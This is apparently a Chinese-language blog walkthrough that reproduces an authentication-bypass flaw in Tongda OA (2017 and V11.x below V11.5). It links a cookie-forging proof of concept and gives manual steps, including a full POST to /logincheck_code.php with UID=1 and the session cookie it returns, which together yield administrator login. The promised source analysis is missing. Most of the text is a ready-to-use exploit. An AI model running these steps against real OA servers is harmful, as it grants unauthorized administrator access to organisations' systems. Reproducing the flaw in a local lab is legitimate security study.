通达OA任意用户登陆漏洞复现

影响版本

通达OA 2017版

通达OA V11.X<V11.5

环境搭建

安装包来自黑白之道(https://mp.weixin.qq.com/s/moxuMnaqzXg-tZ7_2oLxbQ)

下载安装包后一键安装即可

链接:

https://pan.baidu.com/s/1eel1BxEc0XE4PqlA7y7-Tw

提取码:ilj1

安装过程很简单故不再赘述

漏洞复现

初始用户:admin 密码:空

访问localhost可以看到登陆页面

说明我们环境已经ok了

我们可以先登陆进去,发现管理员后台地址都是如下格式

http://网站/general/index.php?isIE=0&modify_pwd=0

我们可以看到我们直接访问这个网址会显示我们没有登陆

然后我们利用poc生成我们的cookie并进行替换

Poc地址: https://github.com/NS-Sp4ce/TongDaOA-Fake-User

通过poc生成我们的cookie

来到我们之前的那个链接,打开F12进行cookie的替换

替换完之后重新刷新一下

可以看到我们成功的利用cookie登陆了进来

手动复现

访问 /general/login_code.php

获取返回的code_uid 注意注意!!这里要把cookie删除掉不然是无法获得道Set-Cookie 同时 要更换User-Agent!!

Post 发包

CODEUID=上一个数据包的code_uid&UID=1

数据包如下

POST /logincheck_code.php HTTP/1.1
Host: 192.168.1.14
User-Agent: Mozilla/5.0 (X11; U; Linux; en-US) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3) Arora/0.6
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 104

Upgrade-Insecure-Requests: 1
Content-Length: 52

CODEUID={B33EE507-314D-EC90-6258-10D33F800BC9}&UID=1

返回包中的cookie

Set-Cookie: PHPSESSID=0ni6eptuu3595vlfan1aii61v4; path=/

源码分析

后面会补上